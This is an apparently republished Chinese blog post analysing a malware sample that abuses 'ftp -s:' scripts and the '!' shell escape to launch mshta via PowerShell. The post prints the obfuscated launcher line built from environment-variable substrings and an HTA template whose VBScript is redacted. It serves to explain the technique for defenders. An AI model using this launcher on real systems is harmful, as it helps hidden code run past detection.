调用ftp.exe进行执行命令

Posted 17bdw

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了调用ftp.exe进行执行命令相关的知识,希望对你有一定的参考价值。

不是太新奇的技术,可以不必大惊小怪。

在看雪论坛看到使用FTP执行恶意代码的病毒样本。ftp -s:filename指定包含FTP命令的文本文件,使用!号是转义到shell。

技术图片

伪装快捷方式执行命令

样本伪装的文档快捷方式调用ftp.exe进行执行命令。而调用的恶意代码是隐写到文档里的,开头用ftp执行了内置的!转到shell执行了powershell.exe mshta.exe ccc.dat这条命令,用powershell.exe运行mshta.exe执行了ccc.dat里面的vbscript脚本。然后从ccc.dat中释放出一个正常的drc.docx文档到C:ProgramDatadrc.docx并且打开。

ftp -s:ccc.dat

技术图片

ccc.dat


! %ProgramData:~3,1%%ProgramData:~5,1%wer%windir:~-1,1%hell.exe m%windir:~-1,1%hta.exe '%cd%ccc.dat'

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no"  CAPTION="no" />
<script type="text/vbscript">

XXXXX

</script>
</head>
<body>
</body>
</html>

参考

https://mp.weixin.qq.com/s/SXbQ_-Ik13m66rppxls9bw

以上是关于调用ftp.exe进行执行命令的主要内容,如果未能解决你的问题,请参考以下文章

当我调用 startResolutionForResult 时,onActivityResult() 没有在片段中执行

php 一个自定义的try..catch包装器代码片段,用于执行模型函数,使其成为一个单行函数调用

在Windows命令行中将子文件夹上载到FTP

如何在片段着色器中进行自定义模板测试

我拿到了webshell如何提升到服务器权限

使用 pdb 进行调试